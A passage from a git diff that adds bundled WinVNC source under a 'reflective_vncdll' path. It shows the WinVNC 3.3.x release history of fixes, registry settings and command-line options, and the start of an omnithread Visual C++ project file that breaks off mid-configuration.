RegisterServiceProcess. + + Fixed incorrect call of errno to call wsagetlasterror. + + Fixed keymapping of circumflex character, etc. + + Added extra debug logging in desktop hook code. + + Removed warning about connected users in logoff handling code. + +Version 3.3.3 (VNC Version 3.3.3, revision 9) +Changes from Version 3.3.3 Revision 8: + + Fixed handling of empty (match all) AuthHosts filters. + + WinVNC.log will now be moved to WinVNC.log.bak when WinVNC runs. + +Version 3.3.3 (VNC Version 3.3.3, revision 8) +Changes from Version 3.3.3 Revision 7: + +-=- Bug Fixes to WinVNC: + + Fixed clipboard handling. + + Fixed AddClient semantics in vncServer to avoid a socket leak. + + Fixed AuthHosts dialog display. Now flashes titlebar/tray button if not foreground window. + + Fixed AuthHosts string parsing. Filters such as 10.0.0.1 no longer match 10.0.0.10. + + QuerySetting didn't work correctly if the AuthHosts string was empty. Fixed. + + Closing the screen-saver now works, so it's back in there. + + Changed the shutdown-dialog behaviour. It now only operates in application mode. + +-=- Bug Fixes to VNCHooks: + + Added HooksType() function to VNChooks so that the library may be replaced with a reliable + hooking version easily. + + VNCHooks DLL did not remove properties from windows correctly when + UnsetHooks() was called. Fixed. + +-=- Minor Fixes + + Implemented the wallpaper-culling feature during remote connections. + + Added automatic culling of "idle" connections, if required, via the IdleTimeout setting. + An idle connection is one in which the client has sent no data for a fixed period, + whether the data be an update request, input events, or clipboard data. + + Only incoming connections are now checked for validity. Outgoing (Add New Client) + or CORBA-initiated connections are not checked via AuthHosts. + +Version 3.3.3 (VNC Version 3.3.3, revision 7) +Changes from Version 3.3.3 Revision 6: + + WinVNC did not correctly handle Winsock1.1, causing all client connections to be + erroneously dropped by the anti-DoS code. Now fixed. + +Version 3.3.3 (VNC Version 3.3.3, revision 6) +Changes from Version 3.3.3 Revision 4: + + The anti denial-of-service blacklist code was very buggy. It's now fixed. + + An serious potential deadlock condition in the negotiation phase of new + clients has been fixed. The problem was incredibly rare on uniprocessors + but much more noticable on multiprocessors, unsurprisingly. + + Pointer is now rendered slightly better. + +Version 3.3.3 (VNC Version 3.3.3, revision 4) +Changes from Version 3.3.3 Revision 3: + + Implemented some simple Denial-of-Service protection. After five consecutive failed + connection attempts from a client, that client is "blacklisted" for ten seconds. + In addition, connections which hang before the authentication stage has completed are + timed out after thirty seconds, to prevent malicious users gradually eating up socket + resources. + + Corrected a bug initialising the back-buffer. + + Added hooking for dialog boxes, menus and scrollbars. Seems to fix some dialogs but not + many scrollbars or menus.. + + Improved the GetChangedRect code with some alignment patches suggested by Will Dean. + + Fixed an *IDIOTIC* bug in the handling of user-specific settings. They were completely + broken before. Now they should work. I'm such an idiot. Idiot idiot idiot. + See MS Knowledge Base articles Q168877 & Q199190. + + The idiot bug-fix above broke roaming profiles on NT domains! That's now fixed, too. + Idiot idiot idiot. + + Added a dialog to query whether to accept or reject incoming connections. The dialog is + currently controlled ONLY via the registry! The AuthHosts setting is now extended, while + some new user-specific settings are provided so that users can tailor the query feature. + Relevant keys are: + - QuerySetting (DWORD) (local&global user-specific) + [Least secure] + 0 - Accept or Query. If AuthHosts says Reject then query, otherwise Accept. + 1 - Accept or Reject. Reject if AuthHosts says so, otherwise Accept. + 2 - Obey AuthHosts. Obey AuthHosts Accept, Query, Reject settings. [Default!] + 3 - Query or Reject. If AuthHosts says Reject then Reject, otherwise Query. + 4 - Ultimate Paranoia. If AuthHosts says Accept then Query, otherwise Reject! + [Most secure] + + Summary: Actual Effect + Setting Accept Query Reject + 0 a a q + 1 a a r + 2 a q r + 3 q q r + 4 q r r + + - QueryTimeout (DWORD) (local&global user-specific) + Number of seconds before Accept/Reject dialog should timeout and reject. + - AuthHosts (SZ) (machine-local) + Match terms may now start with "-", "+" or "?". "?" indicates that the connection + attempt should be queried. + +Version 3.3.3 (VNC Version 3.3.3, revision 3) +Changes from Version 3.3.3 Revision 2: + + Implemented Will Dean's DIBsection patch to retrive screen data. This reduces + both the retrieval time & the memory usage of WinVNC but currently only works + for VNC-format-compatible 16 and 32 bit displays. If your display is incompatible + then WinVNC falls back to the old, slow, memory hungry mode. + + Fixed a bug in VNCHooks which cause very large updates to be spuriously created on occasion. + + vncKeymap now filters out the three Lock keys (CapsLock, NumLock, ScrollLock), so that + they can be safely used at the client side without generating random keystrokes on the + server. + +Version 3.3.3 (VNC Version 3.3.3, revision 2) +Changes from Version 3.3.3 Revision 1: + + Added the new "Disable Local Keyboard & Pointer" option to the Properties dialog. + This features currently allows the keyboard & pointer of the sever machine to be + disabled while a remote connection is in progress. + The feature only works under Windows NT at present. + NB:This is a BETA feature, with a known limitation - if the setting + is changed then all clients must disconnect and reconnect to achieve the desired + effect. + + The -connect command-line option has been added, allowing new outgoing connections + to be made using a script or an icon. + + The Add New Client and -connect options now make shared outgoing connections, since + this is usually preferable to unshared outgoing connections. + + Improved the way preferences are loaded, reducing the number of times the client will + be disconnected when settings are loaded & saved. + +Version 3.3.3 (VNC Version 3.3.3, revision 1) +Release version, patched for HTML bug below. + + [The initial 3.3.3 release featured a bug in the rendering of HTML for the Java-based + viewer. 3.3.3 was quickly withdrawn and 3.3.3R1 is now the base Version 3.3.3 release.] + + -=- NEW FEATURES: + + REGISTRY SETTINGS ARE NOW LOADED CORRECTLY FROM THE CURRENT_USER REGISTRY HIVE! + When running as a service under Windows NT, WinVNC was unable to correctly load + settings stored in the current user's HKEY_CURRENT_USER hive. As a workaround + for this, a special helper-hook is installed when the service itself is + installed. The helper-hook runs when a user logs in and passes enough information + to the WinVNC service for it to locate their preferences correctly. + If the helper hook fails to install or isn't run for some reason, then WinVNC + will continue to operate based on ALL the WinVNC HKEY_LOCAL_MACHINE settings. + + A new command-line option, -defaultsettings, has been added, which will cause the + running WinVNC server to show a Default Properties dialog, through which the default + local properties can be editted. (While the dialog is displayed, the properties used + will be the default ones. When it dissappears, WinVNC reverts to the user's settings.) + + Nagle's algorithm is now disabled on all WinVNC connections, decreasing latency + considerably. + + Timestamp information is now added in the debug log output. + + Limited client IP-address based filtering of connections is now supported. + The new Machine-Local registry setting "AuthHosts" may be specified, and should + be of type "string". + Match terms look like: + + + - + where ip-address-template is the leftmost bytes of the stringified IP-address, + e.g. 158.97 would match both 158.97.54.1 and 158.97.128.6, for example. + Multiple Match terms may be specified, delimited by the ':' character. + Match terms later in the list take precedence over earlier ones. + e.g. -:+158.97: + [This scheme does not currently filter by DNS name] + + In addition to the above, incoming connections may be restricted on a server-wide + basis to being accepted only on the local-loopback interface. This is controlled + through the LoopbackOnly registry setting, which overrides the AllowLoopback and + AuthHosts settings when active. + + The WinVNC priority is now increased while processing its message queue and put + back to normal while preparing updates for sending. This results in apparent + increase in performance, particularly when used in conjunction with some common + applications. + + The machine's name is now included in the title of the web page used to access the + Java version of the VNC client. + + -=- BUG FIXES: + - Major: + + Under Windows NT, a handle was leaked whenever the SelectDesktop function was + called to move a thread into a different desktop. In practice, this meant a leak + everytime someone logged in, connected remotely, or used C-A-D to access security + features in NT. Not pretty. + + Related to the above fix: When simulating Ctrl-Alt-Del, WinVNC would switch a + dedicated thread into the WinLogon desktop to achieve the desired effect. When + the thread quit, the handle to the WinLogon desktop was not properly freed by + WinNT. This is now worked around by WinVNC internally. + + When killing the vncServer object, a race condition occurred because + WaitUntilAuthEmpty() was used to wait for ALL clients being removed - potentially, + there could have been active, unauthorised clients connected to the vncServer + object, which would crash if the server object was deleted before they had quit. + A new function, WaitUntilUnauthEmpty, is now used as well as WaitUntilAuthEmpty, + to remove this race condition. + + - Minor: + + The LockSetting option was not correctly loaded by the Properties class in some + common cases. This is now fixed. + + WinVNC was using ExitWindows but specifying parameters according to the + specification of ExitWindowsEx. ExitWindowsEx is now used instead. + + -=- OTHER MODIFICATIONS: + + When starting up without a password set, WinVNC will first check whether the + Properties dialog has been disabled with AllowProperties=0 before attempting + to open it for the user to set one. Instead a dialog indicating the problem + will be displayed. + + -=- NOTES: + + BUGLET:PLANAR vs CHUNKY. It transpires that problems encountered with WinVNC and + 16-colour Windows 95 displays are due to Win95 VGA drivers giving a "planar" view + of the world. Internally, Win95 is very bad at handling planar pixels and is + also very bad at making them chunky. WinNT does not have this problem. A new + error dialog has been added to warn about this problem on Win95. + +Version 3.3.2 (VNC Version 3.3.2, revision 8) +Changes from revision 7: + + Fix in VNCHooks.cpp (part of the WinVNC hooks library) to place + the hook handles in a shared segment of DLL memory, so that they are correctly + accessed by the hook code itself. + + Fix in vncKeymap.cpp which should sort out the CapsLock on connect problem. + + Added an Initiate Outgoing Connection (Add New Client) dialog. If a machine is + running a vncviewer with the -listen option then WinVNC can be made to export + the display it is managing to this listening viewer. + + NOTE : Outgoing connections are treated as 'non-shared'. + + NOTES ON BUILDING UNDER VC6: + For compatibility reasons, WinVNC will remain a VC5 distribution for the moment. + However, some problems arise when compiling WinVNC under VC6. + + - vncControl.idl is not supplied in the distribution and is ONLY USED + INTERNALLY at the AT&T Labs Cambridge. + It is disabled in the VC5 version of the project but conversion to VC6 format + re-enables it. + Solution : remove vncControl.idl from the project once it is imported into + Visual C++ 6, before compilation. + + Fixed minor bug in Log.cpp code relating to invalid handles being returned by file + open call + +Version 3.3.2 (VNC Version 3.3.2, revision 7) +Changes from revision 6: + + Fixed HANDLE to HINSTANCE casting problem in VNCHooks.cpp, which prevented WinVNC + from compiling under Microsoft Visual C++ 6.0 + + Tray icon is now refreshed every five seconds. This may help detect dynamically added + IP addresses correctly + + Every five seconds, WinVNC will re-attempt to add the tray icon, even under Win95. + If Explorer crashes or Windows 95 is being run then this should ensure the icon appears. + +Version 3.3.2 (VNC Version 3.3.2, revision 6) +Changes from revision 5: + + Fixed minor protocol non-compliance bug with regard to clients which fail to send + SetPixelFormat messages. + + Fixed DOS-prompt polling under Windows 95. DOS boxes are now polled correctly. + +Version 3.3.2 (VNC Version 3.3.2, revision 5) +Changes from revision 4: + + Prepared WinVNC for release. + + Fixed AuthRequired race condition. + + Fixed AutoPortSelect bug. + +Version 3.3.2 (VNC Version 3.3.2, revision 4) +Changes from revision 3: + + Fixed a tray icon bug, in which the tray icon was being produced before the menu + had been loaded. + + Replaced the thread package with the latest version, which fixes a few resource leaks. + + Mouse events are now produced to reflect those sent on the wire, regardless of whether + the mouse buttons would locally be swapped by the OS. This means that left- or right- + handedness is a client-side feature. + +Version 3.3.2 (VNC Version 3.3.2, revision 3) +Changes from revision 2: + + SETTINGS REORGANIZED! + The WinVNC registry settings have now been reorganized and improved to allow better + control over individual user's capabilities when running it, whether as an application + or as a service. + + Local machine settings are stored under HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3 + Local per user settings are stored under HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/ + Local default user settings are stored under HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/Default + Local no-user settings are stored under HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/SYSTEM + Global per user settings are stored under HKEY_CURRENT_USER/Software/ORL/WinVNC3 + + These groups of settings have the following priority: + 1. Machine settings are always read, from the machine settings location. Not overridable. + 2. Default user settings are read. + 3. Local-machine, per-user settings are read for the current user, or for SYSTEM if + there is no current user. These override the Default settings. + 4. If AllowProperties is not zero, the global per-user settings are read. + These override both the Default settings & the local-machine, per-user settings. + + - Local Only, Machine Settings : DebugMode, DebugLevel, AllowLoopback, + AuthRequired, ConnectPriority. + - Local Only, Per User Settings : AllowShutdown, AllowProperties. + - Local/Global, Per User Settings : SocketConnect, AutoPortSelect, PortNumber, Password, + CORBAConnect, InputsEnabled, LockSetting, PollUnderCursor, + PollForeground, PollFullScreen, OnlyPollConsole, + OnlyPollOnEvent + + UPDATE ROUTINES FIXED! + If a client chose to send multiple update requests to the server without waiting for + the update data, then the server would only consider the last request. This behaviour + was incorrect and has now been fixed. As a result, WinVNC will now work properly with + the PalmVNC viewer. + + HTTP SERVER FIXED! + The HTTP server section of WinVNC could end up listening on the wrong port number when + automatic display number selection was in use. This is now fixed. + + MEMORY LEAK FIXED! + A small memory leak in the WinNT side of the vncService::CurrentUser function has been fixed. + Although the amount lost on each execution was small, the function is called often enough + for this to cause problems over long periods of use. + + Established that the Ctrl-Alt-Del problem under NT 3.51 is because GetAsyncKeyState for + ctrl and alt ALWAYS returns zero. Don't know why... + + Fixed a potential lockup when the Properties dialog is closed by the OS rather than by + the Ok or Cancel buttons. + +Version 3.3.2 (VNC Version 3.3.2, revision 2) +Changes from revision 1: + + CTRL-ALT-DEL IMPROVED! + Ctrl-Alt-Del will now work both with the Delete key and with the keypad Del key, from + Unix clients. Unix clients treat these two keys differently but Windows doesn't, so + WinVNC now maps both on to VK_DELETE internally. + + MENU UPDATES IMPROVED! + Extra hook code has been added to the VNCHooks library to catch the messages used to + update the contents of pop-up menus, etc. As a result, menus tend to suffer much less + from the characteristic colour-smear effect. + + Code is now in place to perform automatic locking or logoff of the workstation + when all remote clients have closed, for security reasons. Unfortunately, the + LockWorkstation function doesn't work on pre-NT5 machines, so only the logoff + functionality is implemented. + + The new ConnectPriority option is available, on a per-machine basis. The + HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/ConnectPriority + setting can take one of three values: + 0 - new, non-shared incoming connections kick off existing ones. + 1 - all incoming connections are treated as shared, regardless of the -shared viewer option. + 2 - new, non-shared incoming connections will be refused if a current connection exists. + + Automatic display number selection is now available. This option is set through the WinVNC + properties dialog. When this option is used, the display number parameter in the dialog + is ignored and the display number to use is instead allocated on the fly by WinVNC. + +Version 3.3.2 (VNC Version 3.3.2, revision 1) +Changes from base 3.3.2 release: + + PALETTE-BASED CLIENTS SUPPORTED! + Clients which request 8-bit palette-based data are now supported by WinVNC. + Palette-based clients will get the best results from 8-bit palette mode + servers, due to the way in which truecolour is culled into 8-bit palettes. + svncviewer will now work with 8-bit WinVNC desktops as well as Xvnc ones. + + LOGGING SUPPORTED! + Run-time logging of all internal debug messages is now supported. Log data + may be output to a file or a console window (or the MSVC debugger if the + program was compiled with debugging active.) + Two registry keys under HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3 are used: + DebugMode indicates which logging methods to use. + [1 = MSVC debugger] + 2 = Output to log file Winvnc.log in the WinVNC directory + 4 = Output to a console window, displayed on-screen + Any combination of the above values may be used. + DebugLevel indicates how much debug information to present. Any positive + integer is valid. Zero indicates that no debugging information should be + produced and is the default. + + Loopback (local-machine) connections to WinVNC will now be allowed if the + HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/AllowLoopback registry entry is set + to 1. The default is 0. + + Connections may now be made to WinVNC servers without requiring authentication + if the HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/AuthRequired registry entry is + set to 0. The default is 1. + + Microsoft Developer Studio configurations are included (but not tested) for + Alpha NT, to make compilations for this platform more straightforward. + + CopyRect is now handled differently and tends to give better results when + windows are dragged around the screen. + + All notifications of potential updates to the screen are cached into a vncRegion + object in the vncDesktop thread and are only flushed to clients immediately + before TriggerUpdate is called, to improve performance. + + Added a delay when the -kill option is used, to give the running copy time to quit. + + Fixed a CopyRect-related bug which caused windows to scroll oddly when dragged + partially off the left or top of the screen. + +Version 3.3.2 (VNC Version 3.3.2) +Release version. + +Version 3.3.1 (VNC Version 3.3, revision 20a) +Changes from revision 19: + + WinVNC now returns explanatory message text to the viewer when an incoming + connection is refused because of an empty Password field or a local-loopback + connection. + + Mouse movements are now pre-processed by the Desktop handler and only passed to + the Client handlers immediately before an update is triggered, resulting in less + overhead and therefore lower latency. + + If a client requests the CopyRect encoding in the list of encodings it supports + then WinVNC will now use the CopyRect primitive when doing simple tasks like + dragging windows. This still has some flaws in it but generally improves performance. + + Updated the Java classes exported by WinVNC to include the Send-Ctrl-Alt-Del button. + + Added a "-about" option, which will cause an _already running_ copy of WinVNC to + display its About box, making it easier to check that you have the latest version! + + Added version information to the VNCHooks Dynamic Link Library. This can be viewed + selecting the properties dialog for the vnchooks.dll file. + +Version 3.3.1 (VNC Version 3.3, revision 19) +Changes from revision 17: + + A bug in the new region culling routine was fixed. + +Version 3.3.1 (VNC Version 3.3, revision 17) +Changes from revision 16: + + WIN-NT & WIN-95: + + MS-DOS applications can now by typed into! Thanks to Gur Stavi for pointing + out that WinVNC didn't previously generate keyboard scancodes for key events. + This means that the COMMAND.COM and EDIT programs, for example, may now be + used through VNC. + + Lookup-table based colour translations are now incorporated into WinVNC. + This means an increase in memory usage but delivers a noticable performance + boost on most screen formats. + + 1, 4 and 8 bit palette-based local displays are now handled directly by + WinVNC, resulting in a significant performance boost, although there are + currently problems with the palette layout being confused in places. + + More intelligent culling of unchanged regions of the screen from the list of + rectangles to be sent has been implemented. Generally, this isn't noticable + but over low-bandwidth links, it should have a significant effect. + + WM_ENDSESSION is handled properly for full system shutdown. + + WM_DISPLAYCHANGE is now handled, so that when the display resolution changes, + all remote VNC users are disconnected, to prevent corrupt display updates. + + The mouse cursor rendered to VNC clients is now correct most of the time. + + When installing WinVNC as a service, quotes are now placed around the + executable's name, to avoid problems if there are whitespace characters + in the path. (Common because of installing to "program files\orl\vnc") + + The command-line options available have changed slightly: + -run Causes WinVNC to run normally & ignore rest of command-line. + -install Installs the WinVNC service and continues reading the command-line. + -remove Removes the WinVNC service and continues reading the command-line. + -settings Tells a running copy of WinVNC to show its Properties box. + -kill Kills a running copy of WinVNC. + If no options are given then WinVNC runs normally. + Multiple option may be given, so, for example, to upgrade from a running copy + if WinVNC to a new one, you could use: + WinVNC_new -remove -install + which will stop & remove the old copy & install the new one, or + WinVNC_new -kill -run + which will stop the running copy & run the new version normally. + + The Java viewer class files have been updated. The new classes are slightly more + compatible with borderline Java VMs. + + Deferred update messages are no longer removed from the application's message queue + behind it's back, hopefully resulting in more reliable behaviour & fewer lock-ups. + + The screen-saver is now not disabled when WinVNC is running in service mode and a + connection is made, to avoid a potential race condition. This will be handled better + in a future revision. + + WIN-NT ONLY: + + When running as a system service, WinVNC no longer disconnects all remote + VNC connections whenever the current desktop changes. + + Corrected some problems with shift-key release code confusing Windows NT. + + WIN-95 ONLY: + + WM_USERCHANGED is handled, so that when no user is logged in, the + machine-local password is used, otherwise the user's own VNC password and + settings are used. + (This assumes that Windows 95 is set to Multiple User Profile mode) + + Under Windows 95, WinVNC running in service mode no longer crashes when + told to stop by the -kill or -remove options. + + The main text area of the Windows 95 console will now be polled by WinVNC + properly when the Poll Console Windows Only option is set. + +Version 3.3.1 (VNC Version 3.3, revision 16) +Changes from revision 15: + + The Revision 15 build was broken due to file timestamp corruption. + Revision 16 is a complete re-build. + +Version 3.3.1 (VNC Version 3.3, revision 15) +Changes from revision 13: + + WIN-NT & WIN-95: + + WinVNC will now run as a service on both Windows NT and Windows 95. + Running WinVNC with the -install command-line option will install it into the system + service control manager and set it to auto-run on bootup. The -remove option will stop + the service if necessary and will then remove it. + WIN-95 : winvnc -install will cause the service to run immediately. + WIN-NT : winvnc -install will install the service into the manager but not start it. + + To allow the per-machine settings for WinVNC to be changed even when WinVNC is running as + a service, the "-settings" option will cause the service to pop-up the properties dialog. + + A bug which often caused the entire screen to be transmitted twice to a connecting + client is now fixed. + + The general Shift, Alt and Control-related bugs, affecting non-UK/US keyboard layouts in + particular, are now corrected, with one important exception, mentioned in the NOTES + section below. + + WIN-NT ONLY: + + Ctrl-Alt-Del can be simulated by WinVNC if a client sends it, allowing users to log on + and off and to lock the workstation remotely. + + WIN-95 ONLY: + + Shift, Alt and Control were broken in Revision 13, since Windows 95 cannot distinguish + left and right shift keys at all. This is now fixed. + + NOTES: + + When typing into an application set to use keyboard layout A, using WinVNC run with + keyboard layout B, problems may be experienced because of WinVNC setting the wrong Shift + key states to generate particular characters. As long as only one keyboard layout is used + consistently across all applications, this shouldn't be a problem. + +Version 3.3.1 (VNC Version 3.3, revision 13) +Changes from revision 12: + + The Caps-Lock, Num-Lock and Scroll-Lock keys are now correctly disabled whenever a new + client connects, if that client has keyboard input enabled. + + Left and right versions of the Shift, Alt and Control keys can now be distinguished. + + The right and middle mouse buttons can now be set to trigger updates, although by default + these options are not used. + +Version 3.3.1 (VNC Version 3.3, revision 12) +Changes from revision 10: + + It is now no longer possible to accept unauthenticated incoming connections. + + If WinVNC fails to access the local root window then any remote connection will be refused. + +Version 3.3.1 (VNC Version 3.3, revision 10) +Changes from revision 9: + + Black-background initial update bug is now fixed. + + Border redrawing bug is now fixed. + +Version 3.3.1 (VNC Version 3.3, revision 9) +Changes from revision 8: + + Local connections to WinVNC servers are now filtered out. + + The OMNIthread package is now included as part of the WinVNC source distribution. + + The VTypes header file is now included in the WinVNC source distribution. + + WM_NCPAINT messages are hooked, resulting in better updates of window borders. + +Version 3.3.1 (VNC Version 3.3, revision 8) +Changes from revision 5: + + The resource leak while rendering the mouse pointer has been fixed. + + The WinVNC tray icon changes colour when there is a remote connection. + + An Apply button has been added to the Properties dialog so that it can be used as the main + WinVNC window on Windows NT 3.51 (or any other system without a system tray.) + + The Non-CORBA installer now generates an uninstall option properly. + + WinVNC may now be run in a view-only mode, in which remote users have no control. + +Version 3.3.1 (VNC Version 3.3, revision 5) +Changes from revision 4: + + The machine name is now converted to lowercase to get the desktop name. + + The CORBA control object is properly removed from the Naming Service on exit. + +Version 3.3.1 (VNC Version 3.3, revision 4) +Changes from revision 1: + + WinVNC now warns if no password has been set for the current user. + +Version 3.3.1 (VNC Version 3.3, revision 1) +Changes from version 3.05: + + WinVNC now listens on a socket for incoming HTTP connections and produces HTML accordingly. + This allows the server to be connected to from any web browser that supports Java, without + any plug-ins or other software having to be installed on the client system. + + The server now copes gracefully with the absence of a valid CORBA setup and warns the user. + + Any previous, running instance of WinVNC is detected, to prevent further instances from + running. + + The new, DES-based authentication scheme is used. This results in incompatibility with VNC + clients using version 3.2 or lower of the protocol. To avoid this problem, connect via the + HTTP interface, which provides the correct version of the Java viewer. Version 3.3+ based + clients will handle the new scheme correctly. + + Shared VNC client connections are now fully supported. + +James "Wez" Weatherall +7 November 1997 + + diff --git a/external/source/reflective_vncdll/winvnc/omnithread/omnithread.dsp b/external/source/reflective_vncdll/winvnc/omnithread/omnithread.dsp new file mode 100644 index 0000000000..82313c2f57 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/omnithread/omnithread.dsp @@ -0,0 +1,201 @@ +# Microsoft Developer Studio Project File - Name="omnithread" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102 + +CFG=omnithread - Win32 Profile +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "omnithread.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "omnithread.mak" CFG="omnithread - Win32 Profile" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "omnithread - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE "omnithread - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE "omnithread - Win32 Release CORBA" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE "omnithread - Win32 Release CORBA DEBUG" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE "omnithread - Win32 Profile" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +MTL=midl.exe +RSC=rc.exe + +!IF "$(CFG)" == "omnithread - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Release" +# PROP Intermediate_Dir "..\Release" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /O2 /I "." /D "NDEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 +# ADD LINK32 /nologo /dll /machine:I386 /out:"..\Release/othread2.dll" + +!ELSEIF "$(CFG)" == "omnithread - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "..\Debug" +# PROP Intermediate_Dir "..\Debug" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /YX /FD /GZ /c +# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /I "." /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /GZ /c +# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "_DEBUG" +# ADD RSC /l 0x809 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept +# ADD LINK32 /nologo /dll /debug /machine:I386 /out:"..\Debug/othread2d.dll" /pdbtype:sept + +!ELSEIF "$(CFG)" == "omnithread - Win32 Release CORBA" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "omnithread___Win32_Release_CORBA" +# PROP BASE Intermediate_Dir "omnithread___Win32_Release_CORBA" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Release_CORBA" +# PROP Intermediate_Dir "..\Release_CORBA" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MT /W3 /GX /O2 /I "." /D "NDEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /O2 /I "." /D "NDEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 +# ADD LINK32 /nologo /dll /machine:I386 /out:"..\Release_CORBA/othread2.dll" + +!ELSEIF "$(CFG)" == "omnithread - Win32 Release CORBA DEBUG" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "omnithread___Win32_Release_CORBA_DEBUG" +# PROP BASE Intermediate_Dir "omnithread___Win32_Release_CORBA_DEBUG" +# PROP BASE Ignore_Export_Lib 0 +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Release_CORBA_DEBUG" +# PROP Intermediate_Dir "..\Release_CORBA_DEBUG" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I "." /D "NDEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /c +# ADD CPP /nologo /MDd /W3 /GX /ZI /Od /I "." /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" 